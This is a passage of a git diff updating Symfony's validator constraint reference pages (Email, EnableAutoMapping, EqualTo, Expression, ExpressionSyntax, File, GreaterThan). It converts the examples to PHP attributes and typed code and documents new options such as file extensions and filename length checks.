validated. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `mode`_ - - `normalizer`_ - - `payload`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Email` Validator :class:`Symfony\\Component\\Validator\\Constraints\\EmailValidator` ========== =================================================================== @@ -20,7 +15,7 @@ Basic Usage .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -29,12 +24,10 @@ Basic Usage class Author { - /** - * @Assert\Email( - * message = "The email '{{ value }}' is not a valid email." - * ) - */ - protected $email; + #[Assert\Email( + message: 'The email {{ value }} is not a valid email.', + )] + protected string $email; } .. code-block:: yaml @@ -73,11 +66,13 @@ Basic Usage class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('email', new Assert\Email([ - 'message' => 'The email "{{ value }}" is not a valid email.', - ])); + $metadata->addPropertyConstraint('email', new Assert\Email( + message: 'The email "{{ value }}" is not a valid email.', + )); } } @@ -88,8 +83,8 @@ Options .. include:: /reference/constraints/_groups-option.rst.inc -message -~~~~~~~ +``message`` +~~~~~~~~~~~ **type**: ``string`` **default**: ``This value is not a valid email address.`` @@ -104,38 +99,32 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 - - The ``{{ label }}`` parameter was introduced in Symfony 5.2. - -mode -~~~~ - -**type**: ``string`` **default**: ``loose`` - -This option is optional and defines the pattern the email address is validated against. -Valid values are: +.. _reference-constraint-email-mode: -* ``loose`` -* ``strict`` -* ``html5`` +``mode`` +~~~~~~~~ -loose -..... +**type**: ``string`` **default**: ``html5`` -A simple regular expression. Allows all values with an "@" symbol in, and a "." -in the second host part of the email address. +This option defines the pattern used to validate the email address. Valid values are: -strict -...... +* ``html5`` uses the regular expression of the `HTML5 email input element`_, + except it enforces a tld to be present. +* ``html5-allow-no-tld`` uses exactly the same regular expression as the `HTML5 email input element`_, + making the backend validation consistent with the one provided by browsers. +* ``strict`` validates the address according to `RFC 5322`_ using the + `egulias/email-validator`_ library (which is already installed when using + :doc:`Symfony Mailer </mailer>`; otherwise, you must install it separately). -Uses the `egulias/email-validator`_ library to perform an RFC compliant -validation. You will need to install that library to use this mode. +.. tip:: -html5 -..... + The possible values of this option are also defined as PHP constants of + :class:`Symfony\\Component\\Validator\\Constraints\\Email` + (e.g. ``Email::VALIDATION_MODE_STRICT``). -This matches the pattern used for the `HTML5 email input element`_. +The default value used by this option is set in the +:ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>` +configuration option. .. include:: /reference/constraints/_normalizer-option.rst.inc @@ -143,3 +132,4 @@ This matches the pattern used for the `HTML5 email input element`_. .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address +.. _RFC 5322: https://datatracker.ietf.org/doc/html/rfc5322 diff --git a/reference/constraints/EnableAutoMapping.rst b/reference/constraints/EnableAutoMapping.rst new file mode 100644 index 00000000000..e221b7c07d0 --- /dev/null +++ b/reference/constraints/EnableAutoMapping.rst @@ -0,0 +1,90 @@ +EnableAutoMapping +================= + +This constraint allows to enable :ref:`Doctrine's auto mapping <doctrine_auto-mapping>` +on a class or a property. Automapping allows to determine validation rules based +on Doctrine's attributes. You may use this constraint when +automapping is globally disabled, but you still want to enable this feature for +a class or a property specifically. + +========== =================================================================== +Applies to :ref:`property or method <validation-property-target>` +Class :class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping` +========== =================================================================== + +Basic Usage +----------- + +In the following example, the +:class:`Symfony\\Component\\Validator\\Constraints\\EnableAutoMapping` +constraint will tell the validator to gather constraints from Doctrine's +metadata: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Model/BookCollection.php + namespace App\Model; + + use App\Model\Author; + use App\Model\BookMetadata; + use Doctrine\ORM\Mapping as ORM; + use Symfony\Component\Validator\Constraints as Assert; + + #[Assert\EnableAutoMapping] + class BookCollection + { + #[ORM\Column(nullable: false)] + protected string $name = ''; + + #[ORM\ManyToOne(targetEntity: Author::class)] + public Author $author; + + // ... + } + + .. code-block:: yaml + + # config/validator/validation.yaml + App\Entity\BookCollection: + constraints: + - EnableAutoMapping: ~ + + .. code-block:: xml + + <!-- config/validator/validation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd"> + + <class name="App\Entity\BookCollection"> + <constraint name="EnableAutoMapping"/> + </class> + </constraint-mapping> + + .. code-block:: php + + // src/Entity/BookCollection.php + namespace App\Entity; + + use Symfony\Component\Validator\Constraints as Assert; + use Symfony\Component\Validator\Mapping\ClassMetadata; + + class BookCollection + { + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void + { + $metadata->addConstraint(new Assert\EnableAutoMapping()); + } + } + +Options +------- + +The ``groups`` option is not available for this constraint. + +.. include:: /reference/constraints/_payload-option.rst.inc diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst index 153d13a3098..fdc402b1a97 100644 --- a/reference/constraints/EqualTo.rst +++ b/reference/constraints/EqualTo.rst @@ -4,20 +4,14 @@ EqualTo Validates that a value is equal to another value, defined in the options. To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`. -.. caution:: +.. warning:: This constraint compares using ``==``, so ``3`` and ``"3"`` are considered equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with ``===``. - ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\EqualTo` Validator :class:`Symfony\\Component\\Validator\\Constraints\\EqualToValidator` ========== =================================================================== @@ -30,7 +24,7 @@ and that the ``age`` is ``20``, you could do the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -39,17 +33,13 @@ and that the ``age`` is ``20``, you could do the following: class Person { - /** - * @Assert\EqualTo("Mary") - */ - protected $firstName; - - /** - * @Assert\EqualTo( - * value = 20 - * ) - */ - protected $age; + #[Assert\EqualTo('Mary')] + protected string $firstName; + + #[Assert\EqualTo( + value: 20, + )] + protected int $age; } .. code-block:: yaml @@ -95,13 +85,15 @@ and that the ``age`` is ``20``, you could do the following: class Person { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { $metadata->addPropertyConstraint('firstName', new Assert\EqualTo('Mary')); - $metadata->addPropertyConstraint('age', new Assert\EqualTo([ - 'value' => 20, - ])); + $metadata->addPropertyConstraint('age', new Assert\EqualTo( + value: 20, + )); } } diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst index 2ed816f3a03..518c5c1f160 100644 --- a/reference/constraints/Expression.rst +++ b/reference/constraints/Expression.rst @@ -9,11 +9,6 @@ gives you similar flexibility. ========== =================================================================== Applies to :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>` -Options - :ref:`expression <reference-constraint-expression-option>` - - `groups`_ - - `message`_ - - `payload`_ - - `values`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\Expression` Validator :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionValidator` ========== =================================================================== @@ -31,18 +26,18 @@ properties:: class BlogPost { - private $category; + private string $category; - private $isTechnicalPost; + private bool $isTechnicalPost; // ... - public function getCategory() + public function getCategory(): string { return $this->category; } - public function setIsTechnicalPost($isTechnicalPost) + public function setIsTechnicalPost(bool $isTechnicalPost): void { $this->isTechnicalPost = $isTechnicalPost; } @@ -60,19 +55,17 @@ One way to accomplish this is with the Expression constraint: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Model/BlogPost.php namespace App\Model; use Symfony\Component\Validator\Constraints as Assert; - /** - * @Assert\Expression( - * "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()", - * message="If this is a tech post, the category should be either php or symfony!" - * ) - */ + #[Assert\Expression( + "this.getCategory() in ['php', 'symfony'] or !this.isTechnicalPost()", + message: 'If this is a tech post, the category should be either php or symfony!', + )] class BlogPost { // ... @@ -116,21 +109,23 @@ One way to accomplish this is with the Expression constraint: class BlogPost { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addConstraint(new Assert\Expression([ - 'expression' => 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()', - 'message' => 'If this is a tech post, the category should be either php or symfony!', - ])); + $metadata->addConstraint(new Assert\Expression( + expression: 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()', + message: 'If this is a tech post, the category should be either php or symfony!', + )); } // ... } The :ref:`expression <reference-constraint-expression-option>` option is the -expression that must return true in order for validation to pass. To learn -more about the expression language syntax, see -:doc:`/components/expression_language/syntax`. +expression that must return true in order for validation to pass. Learn more +about the :doc:`expression language syntax </reference/formats/expression_language>`. + +Alternatively, you can set the ``negate`` option to ``false`` in order to +assert that the expression must return ``true`` for validation to fail. .. sidebar:: Mapping the Error to a Specific Field @@ -141,7 +136,7 @@ more about the expression language syntax, see .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Model/BlogPost.php namespace App\Model; @@ -152,13 +147,11 @@ more about the expression language syntax, see { // ... - /** - * @Assert\Expression( - * "this.getCategory() in ['php', 'symfony'] or value == false", - * message="If this is a tech post, the category should be either php or symfony!" - * ) - */ - private $isTechnicalPost; + #[Assert\Expression( + "this.getCategory() in ['php', 'symfony'] or value == false", + message: 'If this is a tech post, the category should be either php or symfony!', + )] + private bool $isTechnicalPost; // ... } @@ -205,12 +198,12 @@ more about the expression language syntax, see class BlogPost { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression([ - 'expression' => 'this.getCategory() in ["php", "symfony"] or value == false', - 'message' => 'If this is a tech post, the category should be either php or symfony!', - ])); + $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression( + expression: 'this.getCategory() in ["php", "symfony"] or value == false', + message: 'If this is a tech post, the category should be either php or symfony!', + )); } // ... @@ -220,6 +213,12 @@ For more information about the expression and what variables are available to you, see the :ref:`expression <reference-constraint-expression-option>` option details below. +.. tip:: + + Internally, this expression validator constraint uses a service called + ``validator.expression_language`` to evaluate the expressions. You can + decorate or extend that service to fit your own needs. + Options ------- @@ -228,23 +227,22 @@ Options ``expression`` ~~~~~~~~~~~~~~ -**type**: ``string`` [:ref:`default option <validation-default-option>`] +**type**: ``string`` The expression that will be evaluated. If the expression evaluates to a false -value (using ``==``, not ``===``), validation will fail. - -To learn more about the expression language syntax, see -:doc:`/components/expression_language/syntax`. +value (using ``==``, not ``===``), validation will fail. Learn more about the +:doc:`expression language syntax </reference/formats/expression_language>`. -Inside of the expression, you have access to up to 2 variables: - -Depending on how you use the constraint, you have access to 1 or 2 variables +Depending on how you use the constraint, you have access to different variables in your expression: * ``this``: The object being validated (e.g. an instance of BlogPost); * ``value``: The value of the property being validated (only available when the constraint is applied directly to a property); +You also have access to the ``is_valid()`` function in your expression. This function +checks that the data passed to function doesn't raise any validation violation. + .. include:: /reference/constraints/_groups-option.rst.inc ``message`` @@ -263,14 +261,17 @@ Parameter Description ``{{ label }}`` Corresponding form field label =============== ============================================================== -.. versionadded:: 5.2 +``negate`` +~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``true`` - The ``{{ label }}`` parameter was introduced in Symfony 5.2. +If ``false``, the validation fails when expression returns ``true``. .. include:: /reference/constraints/_payload-option.rst.inc -values -~~~~~~ +``values`` +~~~~~~~~~~ **type**: ``array`` **default**: ``[]`` @@ -279,7 +280,7 @@ type (numeric, boolean, strings, null, etc.) .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Model/Analysis.php namespace App\Model; @@ -288,13 +289,11 @@ type (numeric, boolean, strings, null, etc.) class Analysis { - /** - * @Assert\Expression( - * "value + error_margin < threshold", - * values = { "error_margin": 0.25, "threshold": 1.5 } - * ) - */ - private $metric; + #[Assert\Expression( + 'value + error_margin < threshold', + values: ['error_margin' => 0.25, 'threshold' => 1.5], + )] + private float $metric; // ... } @@ -342,12 +341,12 @@ type (numeric, boolean, strings, null, etc.) class Analysis { - public static function loadValidatorMetadata(ClassMetadata $metadata) + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('metric', new Assert\Expression([ - 'expression' => 'value + error_margin < threshold', - 'values' => ['error_margin' => 0.25, 'threshold' => 1.5], - ])); + $metadata->addPropertyConstraint('metric', new Assert\Expression( + expression: 'value + error_margin < threshold', + values: ['error_margin' => 0.25, 'threshold' => 1.5], + )); } // ... diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionSyntax.rst similarity index 71% rename from reference/constraints/ExpressionLanguageSyntax.rst rename to reference/constraints/ExpressionSyntax.rst index 2ca0355dfaf..37e0ad7de4a 100644 --- a/reference/constraints/ExpressionLanguageSyntax.rst +++ b/reference/constraints/ExpressionSyntax.rst @@ -1,21 +1,13 @@ -ExpressionLanguageSyntax -======================== +ExpressionSyntax +================ This constraint checks that the value is valid as an `ExpressionLanguage`_ expression. -.. versionadded:: 5.1 - - The ``ExpressionLanguageSyntax`` constraint was introduced in Symfony 5.1. - ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `allowedVariables`_ - - `groups`_ - - `message`_ - - `payload`_ -Class :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntax` -Validator :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionLanguageSyntaxValidator` +Class :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntax` +Validator :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntaxValidator` ========== =================================================================== Basic Usage @@ -30,7 +22,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Order.php namespace App\Entity; @@ -39,17 +31,13 @@ The following constraints ensure that: class Order { - /** - * @Assert\ExpressionLanguageSyntax() - */ - protected $promotion; - - /** - * @Assert\ExpressionLanguageSyntax( - * allowedVariables = ['user', 'shipping_centers'] - * ) - */ - protected $shippingOptions; + #[Assert\ExpressionSyntax] + protected string $promotion; + + #[Assert\ExpressionSyntax( + allowedVariables: ['user', 'shipping_centers'], + )] + protected string $shippingOptions; } .. code-block:: yaml @@ -58,9 +46,9 @@ The following constraints ensure that: App\Entity\Order: properties: promotion: - - ExpressionLanguageSyntax: ~ + - ExpressionSyntax: ~ shippingOptions: - - ExpressionLanguageSyntax: + - ExpressionSyntax: allowedVariables: ['user', 'shipping_centers'] .. code-block:: xml @@ -73,11 +61,14 @@ The following constraints ensure that: <class name="App\Entity\Order"> <property name="promotion"> - <constraint name="ExpressionLanguageSyntax"/> + <constraint name="ExpressionSyntax"/> </property> <property name="shippingOptions"> - <constraint name="ExpressionLanguageSyntax"> - <option name="allowedVariables">['user', 'shipping_centers']</option> + <constraint name="ExpressionSyntax"> + <option name="allowedVariables"> + <value>user</value> + <value>shipping_centers</value> + </option> </constraint> </property> </class> @@ -93,13 +84,15 @@ The following constraints ensure that: class Order { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax()); + $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax()); - $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionLanguageSyntax([ - 'allowedVariables' => ['user', 'shipping_centers'], - ])); + $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax( + allowedVariables: ['user', 'shipping_centers'], + )); } } diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst index f1a27ac8f20..62efa6cc08e 100644 --- a/reference/constraints/File.rst +++ b/reference/constraints/File.rst @@ -11,31 +11,13 @@ Validates that a value is a valid "file", which can be one of the following: This constraint is commonly used in forms with the :doc:`FileType </reference/forms/types/file>` form field. -.. tip:: +.. seealso:: If the file you're validating is an image, try the :doc:`Image </reference/constraints/Image>` constraint. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `binaryFormat`_ - - `disallowEmptyMessage`_ - - `groups`_ - - `maxSize`_ - - `maxSizeMessage`_ - - `mimeTypes`_ - - `mimeTypesMessage`_ - - `notFoundMessage`_ - - `notReadableMessage`_ - - `payload`_ - - `uploadCantWriteErrorMessage`_ - - `uploadErrorMessage`_ - - `uploadExtensionErrorMessage`_ - - `uploadFormSizeErrorMessage`_ - - `uploadIniSizeErrorMessage`_ - - `uploadNoFileErrorMessage`_ - - `uploadNoTmpDirErrorMessage`_ - - `uploadPartialErrorMessage`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\File` Validator :class:`Symfony\\Component\\Validator\\Constraints\\FileValidator` ========== =================================================================== @@ -56,14 +38,14 @@ type. The ``Author`` class might look as follows:: class Author { - protected $bioFile; + protected File $bioFile; - public function setBioFile(File $file = null) + public function setBioFile(?File $file = null): void { $this->bioFile = $file; } - public function getBioFile() + public function getBioFile(): File { return $this->bioFile; } @@ -74,7 +56,7 @@ below a certain file size and a valid PDF, add the following: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Author.php namespace App\Entity; @@ -83,14 +65,12 @@ below a certain file size and a valid PDF, add the following: class Author { - /** - * @Assert\File( - * maxSize = "1024k", - * mimeTypes = {"application/pdf", "application/x-pdf"}, - * mimeTypesMessage = "Please upload a valid PDF" - * ) - */ - protected $bioFile; + #[Assert\File( + maxSize: '1024k', + extensions: ['pdf'], + extensionsMessage: 'Please upload a valid PDF', + )] + protected File $bioFile; } .. code-block:: yaml @@ -101,8 +81,8 @@ below a certain file size and a valid PDF, add the following: bioFile: - File: maxSize: 1024k - mimeTypes: [application/pdf, application/x-pdf] - mimeTypesMessage: Please upload a valid PDF + extensions: [pdf] + extensionsMessage: Please upload a valid PDF .. code-block:: xml @@ -116,11 +96,10 @@ below a certain file size and a valid PDF, add the following: <property name="bioFile"> <constraint name="File"> <option name="maxSize">1024k</option> - <option name="mimeTypes"> - <value>application/pdf</value> - <value>application/x-pdf</value> + <option name="extensions"> + <value>pdf</value> </option> - <option name="mimeTypesMessage">Please upload a valid PDF</option> + <option name="extensionsMessage">Please upload a valid PDF</option> </constraint> </property> </class> @@ -136,16 +115,17 @@ below a certain file size and a valid PDF, add the following: class Author { - public static function loadValidatorMetadata(ClassMetadata $metadata) + // ... + + public static function loadValidatorMetadata(ClassMetadata $metadata): void { - $metadata->addPropertyConstraint('bioFile', new Assert\File([ - 'maxSize' => '1024k', - 'mimeTypes' => [ - 'application/pdf', - 'application/x-pdf', + $metadata->addPropertyConstraint('bioFile', new Assert\File( + maxSize: '1024k', + extensions: [ + 'pdf', ], - 'mimeTypesMessage' => 'Please upload a valid PDF', - ])); + extensionsMessage: 'Please upload a valid PDF', + )); } } @@ -158,8 +138,8 @@ have been specified. Options ------- -binaryFormat -~~~~~~~~~~~~ +``binaryFormat`` +~~~~~~~~~~~~~~~~ **type**: ``boolean`` **default**: ``null`` @@ -171,8 +151,34 @@ the value defined in the ``maxSize`` option. For more information about the difference between binary and SI prefixes, see `Wikipedia: Binary prefix`_. -disallowEmptyMessage -~~~~~~~~~~~~~~~~~~~~ +``extensions`` +~~~~~~~~~~~~~~ + +**type**: ``array`` or ``string`` + +If set, the validator will check that the extension and the media type +(formerly known as MIME type) of the underlying file are equal to the given +extension and associated media type (if a string) or exist in the collection +(if an array). + +By default, all media types associated with an extension are allowed. +The list of supported extensions and associated media types can be found on +the `IANA website`_. + +It's also possible to explicitly configure the authorized media types for +an extension. + +In the following example, allowed media types are explicitly set for the ``xml`` +and ``txt`` extensions, and all associated media types are allowed for ``jpg``:: + + [ + 'xml' => ['text/xml', 'application/xml'], + 'txt' => 'text/plain', + 'jpg', + ] + +``disallowEmptyMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``An empty file is not allowed.`` @@ -190,8 +196,8 @@ Parameter Description .. include:: /reference/constraints/_groups-option.rst.inc -maxSize -~~~~~~~ +``maxSize`` +~~~~~~~~~~~ **type**: ``mixed`` @@ -212,8 +218,8 @@ Suffix Unit Name Value Example For more information about the difference between binary and SI prefixes, see `Wikipedia: Binary prefix`_. -maxSizeMessage -~~~~~~~~~~~~~~ +``maxSizeMessage`` +~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.`` @@ -231,14 +237,22 @@ Parameter Description ``{{ suffix }}`` Suffix for the used file size unit (see above) ================ ============================================================= -mimeTypes -~~~~~~~~~ +``mimeTypes`` +~~~~~~~~~~~~~ **type**: ``array`` or ``string`` -If set, the validator will check that the mime type of the underlying file -is equal to the given mime type (if a string) or exists in the collection -of given mime types (if an array). +.. warning:: + + You should always use the ``extensions`` option instead of ``mimeTypes`` + except if you explicitly don't want to check that the extension of the file + is consistent with its content (this can be a security issue). + + By default, the ``extensions`` option also checks the media type of the file. + +If set, the validator will check that the media type (formerly known as MIME +type) of the underlying file is equal to the given mime type (if a string) or +exists in the collection of given mime types (if an array). You can find a list of existing mime types on the `IANA website`_. @@ -246,33 +260,117 @@ You can find a list of existing mime types on the `IANA website`_. When using this constraint on a :doc:`FileType field </reference/forms/types/file>`, the value of the ``mimeTypes`` option is also used in the ``accept`` - attribute of the related ``<input type="file"/>`` HTML element. + attribute of the related ``<input type="file">`` HTML element. This behavior is applied only when using :ref:`form type guessing <form-type-guessing>` (i.e. the form type is not defined explicitly in the ``->add()`` method of the form builder) and when the field doesn't define its own ``accept`` value. -mimeTypesMessage -~~~~~~~~~~~~~~~~ +``filenameMaxLength`` +~~~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` +**type**: ``integer`` **default**: ``null`` -The message displayed if the mime type of the file is not a valid mime type -per the `mimeTypes`_ option. +If set, the validator will check that the filename of the underlying file +doesn't exceed a certain length. + +``filenameCountUnit`` +~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``File::FILENAME_COUNT_BYTES`` + +The character count unit to use for the filename max length check. +By default :phpfunction:`strlen` is used, which counts the length of the string in bytes. + +Can be one of the following constants of the +:class:`Symfony\\Component\\Validator\\Constraints\\File` class: + +* ``FILENAME_COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the + string in bytes. +* ``FILENAME_COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length + of the string in Unicode code points. Simple (multibyte) Unicode characters count + as 1 character, while for example ZWJ sequences of composed emojis count as + multiple characters. +* ``FILENAME_COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the + length of the string in graphemes, i.e. even emojis and ZWJ sequences of composed + emojis count as 1 character. + +.. versionadded:: 7.3 + + The ``filenameCountUnit`` option was introduced in Symfony 7.3. + +``filenameTooLongMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The filename is too long. It should have {{ filename_max_length }} character or less.|The filename is too long. It should have {{ filename_max_length }} characters or less.`` + +The message displayed if the filename of the file exceeds the limit set +with the ``filenameMaxLength`` option. You can use the following parameters in this message: -=============== ============================================================== -Parameter Description -=============== ============================================================== -``{{ file }}`` Absolute file path -``{{ name }}`` Base file name -``{{ type }}`` The MIME type of the given file -``{{ types }}`` The list of allowed MIME types -=============== ============================================================== +============================== ============================================================== +Parameter Description +============================== ============================================================== +``{{ filename_max_length }}`` Maximum number of characters allowed +============================== ============================================================== + +``filenameCharset`` +~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +The charset to be used when computing value's filename max length with the +:phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen` +PHP functions. + +``filenameCharsetMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``This filename does not match the expected charset.`` + +The message that will be shown if the value is not using the given `filenameCharsetMessage`_. + +You can use the following parameters in this message: + +================= ============================================================ +Parameter Description +================= ============================================================ +``{{ charset }}`` The expected charset +``{{ name }}`` The current (invalid) value +================= ============================================================ + +.. versionadded:: 7.3 + + The ``filenameCharset`` and ``filenameCharsetMessage`` options were introduced in Symfony 7.3. -notFoundMessage -~~~~~~~~~~~~~~~ +``extensionsMessage`` +~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The extension of the file is invalid ({{ extension }}). Allowed extensions are {{ extensions }}.`` + +The message displayed if the extension of the file is not a valid extension +per the `extensions`_ option. + +==================== ============================================================== +Parameter Description +==================== ============================================================== +``{{ extension }}`` The extension of the given file +``{{ extensions }}`` The list of allowed file extensions +==================== ============================================================== + +``mimeTypesMessage`` +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.`` + +The message displayed if the media type of the file is not a valid media type +per the `mimeTypes`_ option. + +.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc + +``notFoundMessage`` +~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file could not be found.`` @@ -288,8 +386,8 @@ Parameter Description ``{{ file }}`` Absolute file path =============== ============================================================== -notReadableMessage -~~~~~~~~~~~~~~~~~~ +``notReadableMessage`` +~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file is not readable.`` @@ -306,8 +404,8 @@ Parameter Description .. include:: /reference/constraints/_payload-option.rst.inc -uploadCantWriteErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadCantWriteErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``Cannot write temporary file to disk.`` @@ -316,8 +414,8 @@ temporary folder. This message has no parameters. -uploadErrorMessage -~~~~~~~~~~~~~~~~~~ +``uploadErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file could not be uploaded.`` @@ -326,8 +424,8 @@ for some unknown reason. This message has no parameters. -uploadExtensionErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadExtensionErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.`` @@ -336,8 +434,8 @@ fail. This message has no parameters. -uploadFormSizeErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadFormSizeErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file is too large.`` @@ -346,8 +444,8 @@ by the HTML file input field. This message has no parameters. -uploadIniSizeErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadIniSizeErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.`` @@ -363,8 +461,8 @@ Parameter Description ``{{ suffix }}`` Suffix for the used file size unit (see above) ================ ============================================================= -uploadNoFileErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadNoFileErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``No file was uploaded.`` @@ -372,8 +470,8 @@ The message that is displayed if no file was uploaded. This message has no parameters. -uploadNoTmpDirErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadNoTmpDirErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.`` @@ -382,8 +480,8 @@ missing. This message has no parameters. -uploadPartialErrorMessage -~~~~~~~~~~~~~~~~~~~~~~~~~ +``uploadPartialErrorMessage`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string`` **default**: ``The file was only partially uploaded.`` @@ -391,5 +489,5 @@ The message that is displayed if the uploaded file is only partially uploaded. This message has no parameters. -.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml +.. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml .. _`Wikipedia: Binary prefix`: https://en.wikipedia.org/wiki/Binary_prefix diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst index d27017fdbe5..d1b79028acd 100644 --- a/reference/constraints/GreaterThan.rst +++ b/reference/constraints/GreaterThan.rst @@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/LessThan`. ========== =================================================================== Applies to :ref:`property or method <validation-property-target>` -Options - `groups`_ - - `message`_ - - `payload`_ - - `propertyPath`_ - - `value`_ Class :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan` Validator :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator` ========== =================================================================== @@ -27,7 +22,7 @@ The following constraints ensure that: .. configuration-block:: - .. code-block:: php-annotations + .. code-block:: php-attributes // src/Entity/Person.php namespace App\Entity; @@ -36,17 +31,13 @@ The following constraints ensure that: class Person { - /** - * @Assert\GreaterThan(5) - */ - protected $siblings; - - /** - * @Assert\GreaterThan( - * value = 18 - * ) - 